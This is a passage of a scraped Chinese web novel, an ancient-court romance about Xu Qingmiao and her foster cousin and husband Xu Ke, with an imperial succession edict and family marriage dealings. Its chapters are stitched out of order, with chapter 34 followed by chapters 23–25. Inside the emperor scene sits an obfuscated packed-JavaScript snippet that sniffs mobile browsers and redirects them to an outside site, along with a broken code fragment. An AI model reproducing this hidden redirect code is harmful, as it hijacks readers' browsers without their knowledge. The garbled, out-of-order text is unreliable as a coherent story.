胡汇中厉声道:“将他给我关进祠堂,一个月不反省清楚不得出来,一日一餐不得有荤腥,谁要是敢偷偷帮他,别怪我翻脸无情。” 这话就是说给胡夫人听的,众人无敢不从。 34. 第 34 章 许清雾和离后,许家后院渐渐热闹起来,姐妹俩今儿制冰饮子,明儿池边玩水,许清妙的日子似乎一下子又回到了十五岁那年。 懵懂而快乐。 墙角外的青梅开始慢慢变红,酸酸甜甜的味道夹杂在夏日的暖风中,不知几时,许家四娘子和离的消息传到了各家夫人耳中。 有心人的心思又活络了起来。 起初,有往来相熟的女客不经意间透露出对许清雾的喜欢,没隔多久,就有人托了媒人上门探口风。 许清雾并没有短时间内再嫁人的打算,一时间愁得又躲回了屋中不愿出门。 这些日子,找上门来求娶的男方,大部分都是些死了原配夫人的鳏夫,要么孩子成群年纪一大把,要么妾室通房一大堆,着实没有一个拿得出手的。 这日,许清雾从前院回来,闷闷不乐地坐在廊下发呆,身旁小丫头劝她:“小姐,您要不去找翰林帮忙?翰林和少夫人会有办法帮你的。” 许清雾摇头,拒绝道:“这种事情怎么好让哥哥出面。” 话落,正好赶上许清妙带着鹊枝从月门进来,听了个清楚。 “四妹妹,有何事不能找哥哥出面呢?” 她今日穿了一件红色襦裙,像一朵娇艳欲滴的牡丹,白皙的手臂透过轻薄的纱变得若隐若现。 许清雾一时看得出神,喃喃道:“三姐,你现在看着像一朵盛开的红牡丹,这就是夫人们常说的夫妻琴瑟和鸣下的样子吗?” 许清妙听了她这呆愣愣又直白的话,耳根发热,都是出嫁过的女子,她们说的自然是房里夫妻恩爱之事。 “做什么拿我说事呢?不许打岔,先告诉我到底什么事呢?” 许清雾支支吾吾不愿说明白,看得一旁的小丫头干着急。 许清妙知她本性矜持,有些话轻易说不出口,便转头看向许清雾身边的丫头,浅笑问道:“那你来帮你主子说吧,到底何事?” 小丫头瞄了眼低着头不吭声的许清雾,暗暗咬了咬唇将今日媒婆上门,二夫人将小姐叫去详谈之事说了个一清二楚。 原来,今日禁军统领萧云牧的母亲派了媒婆来提亲,想给儿子求娶许清雾做正妻。 这萧牧云年近三十,无儿无女也无妾室通房,成日里在营房里厮混,本身根本不愿意娶亲,听说前些年定过两门亲事,结果没到嫁娶之日,定亲的女郎就因生病或意外身故了。 京里渐渐传出他命硬克妻的谣言,世家豪族的女郎不是没有看上他的,但谁敢拿自己的命去跟他硬碰硬呢?结果便是没有人家乐意将女儿许给他了,他也因此拖到这般年纪也没成亲。 许清妙听完,不由感叹:“这人听起来还行呀,除了年纪大了点,总得来说应该是个不贪女色之人,只是不知他的性情如何。” 许清雾叹气,拉过许清妙的手,担忧道:“我是二婚女,本不该太挑人,可他位高权重的多年来还孤身一人,我估摸着他会不会是身上有什么隐疾呢?” 提起隐疾,许清妙顿时些许不自然,眼睛瞟了瞟四周,低声道:“确实该担心这事,萧家能派人来说和,他自然是不介意你二嫁的身份,四妹妹不需忧心这个,反倒是萧云牧这人,咱们得好好打听下。” 微顿了顿,她接着道:“等哥哥回来我问问他,让他想办法去会会那萧云牧,你看如何?” 许清雾颔首,轻声说:“那自然是求之不得了,只是这事会不会让大哥为难呢?” 许清妙轻笑:“这有何难的呀,如今哥哥在御前供职,定然是见过萧统领的,左右哥哥肯定有法子跟他套上近乎的。” 许清妙拍着胸脯向许清雾保证,肯定能说动许恪,去帮打探萧云牧的情况,只是当夜她左等右等也不见许恪回来。 直到熄灯时分,他的侍从随安才匆匆回府报信。 “少夫人,翰林今儿被皇上留宿了,特派奴才回来给您报个信。” 许清妙隔着屏风听到随安说话,气息平稳,心中略定。 只是不禁疑惑道:“宫中按规矩不留外臣,皇上为何要留宿翰林呢?” 随安如实道:“奴才也不清楚,今日翰林进宫前嘱咐奴才,说如果他没按时出来也不要惊慌,守在原地等通知就成。” 往常,随安作为贴身随从,主子入宫当值时他会候在宫门外,最晚会在戍正时刻接到主子。 今儿过了亥时也不见主子人影,他就急了。但因主子交代过,才一直忍耐着候在宫门前没有回家禀报,等了好长时辰,果真有穿着青袍的内侍来给他报信,粉白的脸笑着说是皇帝留了翰林过夜。 许清妙听完不由皱眉,莫非哥哥早就知道今日可能无法归家? · 一轮满月如硕大的银盘悬在夜空,四周漆黑,无云亦无星。 银辉洒向寂静的太极殿,宫殿巍峨,殿前白玉廊下,近百数御前军士值守护卫。 御前军是由禁军中筛选出的精兵组成,每一个佩刀披甲威风凛凛。 站在最靠近殿门前的正是禁军统领萧云牧,一张刚毅凶狠的脸在月色下显得鬼气森森。 太极殿分前后殿,前殿灯火通明,寂静无声。身穿绛紫襕袍、头戴展脚幞头的两个中年人正分立两侧于殿中,左边气质清华的正是当朝宰相韩烈,右边则是副相严万良,此时一脸阴郁喜怒难辨。 俩人俱是沉默无语,静静听着内殿传来的声响。 内殿中宫幔垂地,一道呼吸不顺的咳嗽声从龙腾四海的金玉屏风后传出,内侍总管捧着痰盂伺候一番,转头便瞧见翰林学士许恪立在屏风旁,不动声色地等待着皇帝的问询。 许恪对眼下的形势早有预料,皇帝病重,以皇长子宋胥为首的争权派势力必然蠢蠢欲动。况且皇长子在民间素有威望,在朝堂上又有左相严万良的倾囊相助,皇帝如果不能顺利立下传位诏书,朝局必然动乱。 如今这般情势下,皇帝却连夜留了他在内殿,应当是随时可能命他起草遗诏了。 大雍朝的内诏皆由皇帝陈述翰林学士拟诏起草,即便是内阁相府也不得僭越过问。 许恪能理解皇帝的意图,许家始终中立,不偏不倚,只要不是倒向皇长子,那奉帝命拥护小太子即位便是他们许家最好的出路。 “许翰林,陛下让您上前听旨。” 许恪不动声色地上前,躬身立在皇帝榻前:“臣许恪拜见陛下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290320|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝抬了抬手,勉强说道:“起身吧,走近点,朕有话与你说。” 许恪不卑不亢往前两步立在皇帝身前:“请陛下吩咐。” 皇帝沉吟半响,缓缓道:“朕戎马半生,文治武功不亏于天地,无愧于祖宗社稷,如今久病不愈恐是大限将至。太子年幼资质愚钝,势必担不起这副沉重的担子,但胜在仁义守礼,若辅以能臣相佐也能实现治下长治久安。一旦改立皇长子,只怕往后民不聊生,胥儿他虽有才却好大喜功将来必然穷兵黩武再战边境,实非守成之君。” 皇帝睿智而浑浊的眼神望向许恪,“许卿可懂朕的意思?” 许恪一脸惶恐,言之谆谆:“臣唯陛下之命是从,深受皇恩,臣愿为陛下肝胆涂地、鞠躬尽瘁。” 许恪知道皇帝是在等他表态,这一步不能出错,皇帝说出了这番话,就容不得他再躲藏,如果这一刻他得不到皇帝的信任,那他必将活不到出宫了。 “如此,朕也算宽心些,太子心思纯善,忠奸难辨,你身为帝师要尽责教导,政事上更要全心辅佐,不得有不轨之心。” 许恪安静听着,知道皇帝崩后,他必然要以太师之位辅佐新君。 “臣定当不辱使命,忠君报国。” 皇帝颔首,扬声道:“让韩烈和严万良进来。” 内侍总管方检躬身领命,小碎步快速出了内殿去通传。 内殿只剩下许恪与皇帝俩人。 皇帝突然严肃道:“许恪,党争祸国,该助太子肃清朝野时不可手软,可知晓?” 许恪抬眼看向病得脸色发黑的帝王,低身跪下:“臣定当牢记。” 殿外传来脚步声,皇帝抬了抬手:“起来吧,准备拟旨。” 大雍朝律例规定,皇帝遗诏须由臣子、亲王共同见证下完成,如有必要皇帝会亲自书写。 内殿侧门也缓缓打开,八岁的小太子从门内走出来,眼底有慌乱,脸上表情总的还算镇定。 “父皇,您好些了吗?” 小太子没有理会从殿门踏入的内阁两相,只趴在皇帝身前担忧地问候。 许恪看在眼里,没有阻拦。 韩烈、严万良弯腰请安,皇帝只抬了抬手,示意他们起身。 “奕儿先站好,不得出声。” 皇帝让太子站在一旁,再次说道:“许恪准备草拟诏书。” 严万良猛地抬头,环顾左右却不得不忍住出声,门外有禁军把守,殿内全是皇帝心腹,他说什么都不会有人听,更可能惹怒皇帝丢了性命。 直到皇帝断断续续将整个传位诏书说完,严万良也没发出一点声响。 “陛下请过目。” 许恪将拟好的诏书呈上,皇帝颤抖着手拿起,仔细检阅。 “可以,就用这份,拿玉玺过来。” 至此传位诏书尘埃落定,很快抄写传发下去,不出意外晨曦升起时,所有人都会知道名正言顺的大统继承人是小太子。 许恪也终于在宫门开启的第一时间回了府,裹着满身沉重与冷冽进了屋。 拔步床内,许清妙正抱着他的绣枕睡得酣甜。 他缓缓俯身,亲在了她的额角。 23-30 第23章 第23章 日落西山,蝉鸣渐歇。 回廊下摆着一把摇椅,余晖撒下昏黄,许清妙厌厌的躺在上面,望着天际,思绪万千。 鹊枝讲的很详细,她不由能想象当日情形。 京郊游玩是稀松平常之事,不过这回长公主家大娘子邀请许清妙出游是别有目的。 早在回京途中那艘船上,那位大娘子便对许恪一见钟情,如今回了京城约清妙郊游不过是要趁机向许恪表露心意。 只是没想到,大娘子刚要靠近,许恪便退开一丈远,冷面拒绝她凑近。 大娘子很难堪,还好也不再纠缠,只是对许清妙的热情肉眼可见的冷淡了。 而游玩途中遇到胡庆堂纯属意外,也正是因为这个小意外,让本不该在婚前见面的俩人见了一面。 那胡庆堂长相尚可,仪表俱佳,可许清妙见了他就是不喜。 她讨厌他的装腔作势,更不喜他看她的眼神,火热而不加掩饰。 他摇着一把折扇,故作风度地告诉她:“三娘请放心,我已经遣散了家中通房,往后也不会纳妾,只一心待你,我们必能举案齐眉。” 谁要跟他举案齐眉了? 自作多情。 她讨厌他。 收用通房时全为了自己快活,如今丢弃了却要将这种事情当做一种他对她看重的证明。 “看吧,我为了娶你,通房美婢都可以遣散,足见诚意吧!” 许清妙想这大概就是胡庆堂的真实想法。 这次见面,更加坚定了她退婚的决心,可现实却是开口说出拒绝都难。 大雍朝女子婚事,全靠父母之命媒妁之言,自己能做主的也就是在父母选定的人选里挑一个。 如今家里只给了一个选择。 许清妙依在车窗上哭泣,半卷着的帘子随风吹起,郊野绿意盎然,生机勃勃。 她却觉得自己了无生机。 明媚生动的脸上笼上愁云,这样默默垂泪的一幕落入了许恪眼中。 他骑着马行在车旁,眼底晦暗难明,不消片刻又变得坚定。 他抬起右手示意。 马车在一声喝令下停在了路旁,许清妙尚不能从自己的情绪中抽离,只呆呆地趴在窗沿,看着路旁的芦笛。 一阵风吹过,车帘被人牵起。 她模糊着双眼望去,原来是许恪弃了马登车而来。 束袖骑装穿在他身上,利落飒爽。 马车重新启动,晃晃悠悠。 鹊枝坐在了驾车的小厮旁,帘子拉下,车厢内只剩他们俩。 “三妹妹,你确定不想嫁给胡庆堂?” 许恪坐在她身旁,语气淡淡,像是在说今日确实不想吃稀饭一般。 许清妙茫然地看着他,少倾,毫不犹豫地颔首:“哥哥,我不想嫁给他,他早就有好几个通房,如今为了亲事随意就将人打发了,这样的人薄情寡义的。” 许恪定定地看着她,像是在计划什么。 许清妙伸出手拉了拉他短短的衣摆,目含期待地看着他。 她知道自己这位状元郎长兄一定有办法帮她。如今他开了口,说明他起了意定会管她。 许恪低头盯着她拉着自己衣角的手,白白嫩嫩,整个身体更是不自觉得往他身前凑,淡淡的幽香传来。 他没有动,仔细感受这种与人靠近的感觉,他发现自己没有厌恶更没有那种闻到女子香味的恶心感。 就像上一回他将她从水里拉起来时一样,他抱着她,第一次与人这般接触,也是在那时,他惊喜地知道自己不排斥许清妙。 他也已经知道许清妙不是许家血脉,跟他毫无血缘关系。 就是这样一个被他当成妹妹看待的女子,他抱在怀里不会感觉恶心想吐。 许恪的面上淡淡,眼底却风起云涌,瞬息万变,直到那只抓着他衣摆的手再次晃了晃。 他撩眼看向她,微微笑了一下。 “三妹妹可愿意嫁给我?” 他的话简短浅显,许清妙却半响没听明白。 瞪着一双圆圆的眼睛,呆愣愣地看着他,“哥哥说什么?” 许恪低头凑近,望着她的眼睛再次重复了一遍:“愿意嫁给我吗?” 许清妙惊得往后倒,他们是堂兄妹怎么可以成亲的? 她的惊惧全写在脸上,许恪抬手扶住她不至摔倒,淡淡道:“三妹妹并非三叔血脉,我们之间没有血缘关系。” 许清妙觉得他这句解释的话比前一句更加可怕,什么叫她不是爹的血脉,什么又叫他们没有血缘关系! “不,我不信!” 她是偶尔迷糊,得过且过,但大是大非面前她分得清,更分得清谁对她真心好。 父亲虽然常年在京城任职,很少见她,可每个月往家里捎回来的小玩意不计其数。 她的小瓷人、精巧的小金锁,还有许许多多女孩子喜欢的小玩意,京城时兴的,各地特产的,她有好多,全是父亲从各地带回来送她的。 她不信,这样事事时时记挂她的父亲不是她的亲生父亲。 许恪似乎料到她不会相信,将只未封的信封递给了她。 “这是祖父托我带给三叔的信,你自己看。” 这几日刚到京城,三叔正好在外公务,他还没来得及将信递过去。 许清妙伸出手指接过信封,薄薄的一张纸却让她觉得千斤重。 她甚至有些不敢打开,因为她从心底知道哥哥不会开这种玩笑。 许恪耐心地等着她鼓足了勇气展开信,很快就见她边看边哭。 信里老爷子简单交代家常,提到许清妙身世也是一笔带过,着墨提醒许老三好好为许清妙送嫁,让她风风光光嫁出去。 许清妙抹了眼泪,抬起一双红得像兔子的眼睛看着他。 “哥哥好残忍,我如今可怎么办呢?” 许恪捏起她的帕子,轻轻给她擦去眼泪,缓缓道:“是不是许家血脉没有关系,我们家都认你,你要是想嫁给胡庆堂我们依然是你的娘家。” 许清妙捏紧了衣角,咬牙道:“我要是不想呢?” 许恪将手帕还回她,认真道:“那我想请三妹妹嫁给我可好?” 虽是再次听清这句话,许清妙还是没法当真。 “哥哥,你是不是梦魇了?” 大雍朝是礼仪之邦,许家更是诗书传家,他们即便没有血缘关系,那名义上的兄妹身份还是存在的。 许恪突然很莫测地笑了下,一点也不像平时的他。 “三妹妹只管考虑愿意还是不愿意。” 许清妙不敢想,沉默不语。 许恪也不催她,只等她慢慢静下心来,才细细考量。 许清妙想起闺中女郎对许恪的评价,想起自己在祠堂门口许下的心愿,再看着眼前冰壑玉壶的长兄。 如果是他,有何不可呢? 一旦破除兄妹的禁咒,她会毫不犹豫选择他。 “哥哥,你有办法?” “我不要嫁给胡庆堂。” 听到她开口,许恪暗暗松了一口气,眼底流光溢彩般看向她。 “三娘只需在有人问你时候,坚定的告诉他你愿意嫁给我就成,其他的我都能处理好。” 车架缓缓入城,许清妙没有更多犹豫,只轻轻应了一声: “好!” 而这一日她的这声“好”,彻底改变了她的生活。 * 天边渐渐暗淡无光,她从摇摇晃晃的摇椅上起身,屋外凉风渐起,夏日的热渐渐散去。 她站在院门口等着许恪回家。 鹊枝从侧屋出来,见她还站在院子里,走近提醒她:“少夫人,您还是进屋等翰林吧,这几日翰林都是戌时才回的。” 许清妙摇了摇头:“鹊枝,我想马上见到他。” 她有很多话想跟他说,告诉他那一日发生的事情,问问他有没有办法知道后面他是如何说服家里人的。 鹊枝见劝不动,又进屋拿了件薄衫给她披着,虽然不冷却能防防蚊虫。 夜幕下的京城,灯火辉煌,街上夜市热闹,坊间歌舞升平。 许恪骑着一匹温顺的乌蒙马从宫门出来,太子养在宫内,外臣得赶在宫门下钥前出来。 这几日他都是踩点下钥的时间出来,只最近皇帝考教太子学问,太子恐惧答不上来。 天子隐怒,罚了太子功课,他这个侍讲便多给太子讲了一些。 可惜,再多讲也没什么用,太子还太年幼,哪里领悟得了太多政论时策。 可皇帝很在意太子的才能,隐隐透着急躁。 这不是个好兆头。 他记起自己恩师韩烈曾说过的话:“教书育人切莫揠苗助长,操之过急,太子还小需循循教导。” 可惜这话韩烈能对他说,他对皇帝却说不得。 许恪骑在马上想着事情,经过城里最热闹的艺轩坊,这里是官员文士流连忘返之处,坊间秦楼楚馆数不胜数。 许恪不会往里走,路过主道也不往里看,如喧嚣红尘中一颗明珠。 今日,却有一富户小厮突然拦在他的马前,喊到:“许翰林稍等,我家公子请您过去一聚。” 许恪皱眉,看向那莺莺燕燕的热闹街市,“你家公子哪位?” 那小厮道:“禀翰林,我家公子乃翰林昔日同窗余屏。” 许恪不由一震,余屏不是在袁州做知州吗?怎么此时回京,他给余屏写过信至今没接到回信,原来他人已经在京城了。 “带路。” 第24章 第24章 莺歌琵琶绵绵曲,满座宾客熏熏谈。 许恪踏入阁楼,弥漫的酒香夹杂着一股浓烈的脂粉味扑面而来,令他皱眉。 达官贵人、文人雅客,无不喜欢在阁楼酒馆饮酒畅谈,琴音协奏,美人相伴。 多情行乐处,自命风流。 许恪却实在难忍,他少年天才、勤学苦练,不屑用这种方式消磨或者勾连关系,更何况还有身体上的排斥。 几乎是刚一踏入,他就毫不犹豫掉头走了。 只留给众人一个孤冷离开的背影。 那带路的小厮看得傻了眼,扯开嗓子喊道:“许翰林,已经到了呀。” 许恪闻声头都没回,径直往外走,倒是酒席正中正被劝酒的余屏听了小厮呼唤,立马站起了身。 “各位稍候,容我去去就来。” 衣冠尚不及整理,便急急忙忙追了上去,余屏懊恼,自己一喝多竟然忘了这位同窗的怪癖,根本闻不得这股女子香脂粉味。 刚在阁楼上远远瞧见许恪骑在马上走来,余屏便遣了随从去请他,他就是想与许恪叙叙旧,喝了酒的脑子一时大意没自己下去,反倒让他上来了。 只得自己去追许恪,他又记起自己是真有事找他呀。 余屏匆匆离席,席间另一人也看到了刚露面就转身走了的许恪。 胡庆堂转头看向侍候的小厮:“刚才可是许大郎?” “回公子,是他。” 胡庆堂略顿了顿,也推开了凑上来奉酒的女郎,撩袍跟了出去。 另一头,许恪已经出了阁楼,牵过随从递过来的缰绳,撩袍跨上了马背,正要甩鞭,背后传来挽留声。 “许兄,且慢且慢。” 许恪扭头看去,只见余屏正不顾形象地飞奔而来,歪歪斜斜的衣襟都已不成样子。 余屏是许恪会试的同窗,年纪比他还大了两岁,可遇见了总是喜欢唤他一声许兄。 许恪倒不在意称呼,就是这人不怎么着调,要不是因着许意的事情,轻易不会去麻烦他。 如今也不知道事情如何了,只能停下等他走近。 待余屏上气不接下气地停在他跟前时,许恪又翻身下马,两手做了个交叉揖。 “余兄,怎突然回京了?” 一州知州,无诏是不能回京的,许恪自然知道余屏肯定是朝廷召回来的。 余屏扶正了发冠,理了理衣襟,笑道:“朝里有人调我回来的,许兄寄来的信我也看到了,可惜那会我正好卸职准备回京,我本想给你回信,但想着一来二去的信估计还没我自己到京里快,就没给你回信了。” “这不,昨儿刚到,屋子都没收拾完今儿就被几个同乡拉着喝酒去了。” “我想着呀,明日就去你府上拜访,这不又巧了,站楼上一望就看到你了,所以才派了小厮去喊你,倒忘了你不爱来这种地方,是我大意了。” 许恪习惯了他这人大大咧咧,虽说不拘小节,心肠还是不坏。 “那我们边走边说?”许恪将马绳丢给了随从,转身看着他。 余屏自然没有什么意见,两人并肩走在街上。 “你信里问的事,我都知道,那生意你们家还是不要了好,免得惹上麻烦。”余屏说完,凑近他又低声道:“那是大皇子门下产业,如今朝野对大皇子青眼相看,惹不得咧,我这回就是被他们给踢回来的。” “我这人你也知道,识时务,他们找了个由头将我调回了京里,我求之不得呢。” 许恪听了心里自有几分计量,只颔首道谢:“还是麻烦你给我提醒了,不然我家那愣头青还在家里不服气。” 这种跟皇亲国戚沾惹上的生意,别说普通商人,就是正经官员都不爱掺和。 余屏爽快笑道:“小事小事,既然跟你说清了那我明日就不去登门了,这几日我也忙,等忙完了我请你喝酒。” 许恪笑道:“余兄客气了,这回该我请你喝酒,还望赏脸。” 许恪请酒自然是在正规的酒楼饭馆,自然不会在这些莺莺燕燕的歌楼妓馆。 余屏不爱去,太正经了,没意思。 但难得许恪请客喝酒,他也笑着应下。 俩人又说了会话才告辞分开。 许恪望着走远的余屏,敛了笑,转头看向跟了他一路的那俩人。 胡庆堂见许恪发现了自己,干脆几步走上前。 “见过大哥。” 许恪平静地看向他:“你一路跟着是有何事?” 他虽然早有打算去胡家一趟,但还是瞧不上胡庆堂这一路尾随的行径。 胡庆堂犹豫道:“其实也没什么事,就是刚见着大哥路过了,就想过来打声招呼,不知大哥和三娘近来可好?” 许恪皱眉看他,这胡庆堂长得一表人才,怎么做事说话这般没有分寸,大晚上的拦着他就为了问他和三娘好不好? 看他低眉顺眼心虚的模样,许恪几乎是瞬间就领悟到这人别有用心。 再一联想到当年清妙是跟眼前人定过亲,他立马冷了脸。 “不劳胡大公子费心,四妹还在家等你吧,还请回去告知她一声,这几日有空回家一趟,老太太进京了让她过来看望。” 胡庆堂脸色变得难看,泄了气似的不吭声,既不解释也不反驳。 三年前许胡两家可以说门当户对,可随着许恪的快速成长,与他自己的碌碌无为形成了鲜明的对比,两家人都知道胡家下一代肯定赶不上许家了。 再一想到自己看上的女郎嫁给了许恪,他在许恪面前就变得更加自惭形秽。 这三年来,他是真的想知道许恪会不会也跟普通男人一样,逛花街喝花酒。 所以今日在歌楼遇到,他才毫不犹豫地跟了上来。 可惜不过自取其辱了。 * 许恪转身上马,很快消失在了街角。 一路上重新顺畅,很快瞧见了亮着灯笼的宅院。 刚进了二进院子,便看到了许清妙正站在梧桐树下等他。 襦裙轻薄被风吹起,如仙女一般,脸上带着笑意,见了他欢快地向他跑来。 “哥哥,你可回来了,我等你很久了。” 许恪牵起她的手,勾起唇角笑了:“怎么不进屋等,外面蚊虫多,有咬你吗?” 说着他往她手臂上看,薄杉的罩衣也看不清底下。 许清妙拉着他进屋,不在意地说道:“没有,我不惹蚊子,哥哥用晚饭了吗?” 许恪颔首:“在太子那用过了,三娘有什么事要与我说吗?” 许清妙本来是有很多想说的,可冷静下来又觉得不是什么非说不可的事情。 还是等他闲下来了,她再好好跟他说说。 她换来丫头给他备好衣物,看着他笑道:“一点小事,你先去洗漱。” 等丫头婆子都退出去了,浴房里传来许恪洗漱的水声,幽幽的灯光摇晃。 许清妙脱下外衫,舒舒服服地躺进了拔步床内,她虽然知道了那日的事情,可后来许恪如何说服家人的,她并不清楚。 她挺好奇的。 模模糊糊地想着,她眼皮开始往下拉,很快就合上睡着了。 许恪洗漱完出来,看到的许清妙躺在床上睡得正香,红扑扑的小脸上舒展放松,唇瓣微微嘟起,可爱的不行。 明明整体长相偏明艳,可一双圆圆的眼睛配上清透的眼神,更显得可爱迷人。 许恪放下头发,坐在床边,轻薄的单衣透着温度,尽量没有挨着她。 他拉开被子给她盖上,看她睡得沉了,才转身换了衣服出去。 外间鹊枝在守夜,见他出来刚要出声,被他制止。 “不用出声,仔细注意屋里,夫人要问起就告诉她我去见老爷了。”许恪冷淡的声音低声交代。 鹊枝习以为常,连忙点头应下。 夜色如浓墨,许恪身后跟着随安提了灯笼往许家正屋里走去。 随安一路上轻声解释:“翰林,老爷让您回来不管多晚都得去一趟,肯定是有要紧的事情。” 许恪淡淡嗯了一声,脸上波澜不惊。 随安便不再多言,只安心跟着主子往院子走去。 许家奴仆动作很快,短短两日便将两座宅子的后院打通了,如今他们回那边府里,只需要直接从后院的小径过去了。 许恪踏着夜色进了许坚的院子,而许坚早就等在了书房。 父子俩都很有默契,等到关上门只有彼此后,才开口说话。 许坚低声严肃道:“你那学生果真不堪大任?” 许恪紧锁眉头看向父亲,自然知道天性谨慎的父亲话里的意思。 他也多少听到一些朝堂风声,不关心朝堂势力的,只会看到皇帝对太子的偏宠,可真正跟皇帝太子都有接触的近臣,应该多少都能体会到皇帝的焦躁不安。 太子性格懦弱,资质平庸,如果只是作为富贵王爷,那自然无忧。 可皇帝对太子期以厚望,欲将天下托之,这恐怕后患无穷。 而皇帝显然也看出来了。 他摇了摇头,作为老师他可以安慰自己学生还小,需要耐心教导,可真要以帝王标准来看,那孩子确实资质太差,难堪大任。 许坚深深地叹气:“哎!要出乱子了。” 许恪低声道:“父亲勿过分忧虑,有陛下在乱不起来。” 许坚点头:“这事不可再提,你在学生面前也不可有任何纰漏。” 许恪颔首:“父亲放心,我知道轻重。” 父子俩就朝中隐隐透出的波诡云谲又提醒了几句,便收了话。 许坚喝了口茶,话音一转:“你要是身上有不好,尽快找郎中看看,免得你母亲担心。” 许恪一时不解,抬眼看着父亲,见他神色怪异,才猛然想起所说何事。 他脸上燥热,冷声道:“并没有这回事,父亲过虑了!” 第25章 第25章 日升月落,晨露未晞。 阳光穿过树缝,打在那柄舞动的青锋剑上,剑光熠熠,许恪身姿轻盈,剑法凌厉,一招一式间尽是啸啸剑气。 许清妙笑意盈盈地依在廊下,一边欣赏一边等着许恪练完剑一起去王氏院子里用早膳。 昨日睡得太快,她有意将那日的事情留着今日来说,等到许恪擦了汗换了身衣裳,俩人才相携往王氏院子里去了。 打通的院墙上开了一道月门,门框用石料堆砌又在石面上雕出朵朵睡莲,地上重新铺就了一条青石板路,连通着两座宅院。 “昨日夜里是有话要对我说吗?” 许恪主动提及昨晚她没说的话,许清妙便将出游那日的事情简单地与他说了一遍。 “哥哥,你那日回家后就帮我拒婚了,然后就被罚跪祠堂三天三夜,你不好奇你都跟家里说了些什么吗” 她瞧着许恪,他的神色淡然,似乎对那日的事情并不是很感兴趣。 许恪侧头看向她,伸出一只手让她牵住,浅浅勾了勾唇:“不是很好奇,你不要想太多,那日的事情应该都是在我的预料之中。” 他不清楚当时的自己具体如何做的,但他知道自己一旦确定要去做什么事情,就一定会做完做好。 许清妙歪着头看了他几瞬,像是认可了他的话,晃了晃他的手笑了。 行吧,哥哥不好奇,那她也不是很好奇,只要知道如何缓解和四妹妹的关系就行了。 “还有一事,我请了郎中今日午后上门为你把脉,午膳时候我也会回来一趟。” 许清妙颔首应下。 俩人并肩进了王氏的院子,还未踏入里屋便听到里面传来许意的说话声。 “娘,我要带云竹和俞娘一起去我刚新开的制衣坊,让她们帮我做事,往后接待的客人都是京城里的夫人太太,有她们帮忙更合适。” 许清妙与许恪对视了一眼,默默进了屋给王氏请安。 等他们正房一家坐在厅里用膳时,许意已经将他的事情又说了一遍。 原来他是打算将云竹和俞娘一起接到外面的铺子里,让她们帮他经营制衣坊。 “她们哪会给你看铺子?这成何体统呀。” 王氏还是不愿松口,看了眼坐在首位的许坚,想让他出口反对,却见他板着一张脸一声不吭,似乎不关他事一般。 许意也偷偷瞧了父亲脸色,见他脸色如常,大胆反驳王氏道:“娘,我问你,谁最懂这京里夫人太太们喜好的款式面料还有时兴的款式?自然是小娘子呀,我让她们去铺子里帮忙,她们就能跟那些夫人太太好好沟通了,我现在找的这些婆子小丫头她们在官太太面前立不住,哪里打探得到人家喜好的?” “况且,俞娘和云竹也很乐意帮我的。” 他说完瞥了眼一旁专心用膳不吭声的长兄,他也是刚从王氏那里知晓原来当初俞娘差点嫁给他长兄。 可惜阴差阳错,如今成了他的妾室。 他不无感慨,又转头看了眼许清妙,他喜欢的妹妹嫁给了长兄,准备给长兄说的姑娘又嫁给了他。 谁又不说是一种孽缘。 还好,他也不是儿女情长之人,只要三妹妹开心就好。 许清妙抬眼便看到了许意复杂的眼神,不解地看着他道:“二弟,可是需要我帮你劝娘?” 不待王氏和许意反应,许清妙就糯糯道:“娘,儿媳倒觉得可以让她们去帮忙,如今二弟未娶正妻,也没人管着她们,有个正事让她们去做自然少了些空旷无聊。” 要是许恪允许,她都想去铺子里看看。 许恪抬眼看了她一眼,瞧见了她眼底的那点期望,不由停了筷子看向许意缓缓道:“既然你想好了,那就拿出具体的章程来,不要到时候惹出闲话或者麻烦影响到家里。” 许意没想到长兄会为他说话,咧着嘴应声道:“有的,有的,我回头就将具体的章程列出来给娘瞧。” 王氏无奈哼道:“老爷,你也不管管?” 她倒不是非要唱反调,不过总得顾及点名声,怕人家背后埋汰许家难道穷到了需要妾室抛头露面做生意不成? 许坚瞥了王氏一眼,沉声道:“只可在内室见女眷,另外派点人去铺子里照看着,有事及时回复府里。” 许意自然一一应下,事情办成就行,其他都不是事。 等到用完饭散了场,许清妙送他们俩出院子。 许意噙着笑谢过许恪和许清妙:“大哥,三妹妹,今日多谢你们了。” 许恪冷冷看了他一眼,意有所指。 许意自然意会,只得不情不愿地改口:“谢谢大嫂。” 事已至此,他也早就释怀,叫声大嫂也是应该的了。 许清妙甜甜地应了他:“哎,二弟。” 许意泄气地扯了扯嘴角,觉得自己怎么算怎么亏了,好好的二哥成了二弟,不由幽怨的看了长兄一眼,可惜只见他面容含笑。 显然很满意。 许清妙又回了王氏屋里,许恪与许意一起往外走,去了前院。 行至前院回廊下,许恪随意地看了一眼许意,问道:“袁州的生意都撤了吗?” 许意闷声道:“撤了,整个染丝销路都让给那些人了,他们给了我这个数。” 说完伸出手指比了个六,“给了这数作为补偿,这数看着挺多,其实用不了三年我就赚回来了,所以还是亏了。” 他自己也清楚,如果不是他出身许家,对方也忌惮他父亲叔伯,恐怕被白占也是很有可能的。 许恪看出了他心中不甘,劝道:“那些都是大皇子的人,如今我给太子做了西席,明面上我们许家都是太子一党,那边生意丢了就丢了吧,好好将京城的生意做好了。” “京城遇到什么事记得回来说一声,不要自己闷头干,在这里起码我们不会毫无还手之力。” 许恪点到即止的提醒他。 许意颔首:“弟弟晓得了。” · 一整个上午太阳火辣辣的,许清妙没有再出门,一直陪着王氏打理宅子里的事务,喝茶看账,然后见了各房管事。 时间眨眼便到了午时,她将午后请了郎中一事与王氏提了。 王氏急忙忙让她赶紧回自己院子,午饭后也不用过来陪她了。 回到自己院子里时间尚早,许恪还没回来。 许清妙干脆坐在院子的秋千上等着许恪回来,她两脚离地晃来晃去,身后的发带也随风飘荡,越玩越得趣。 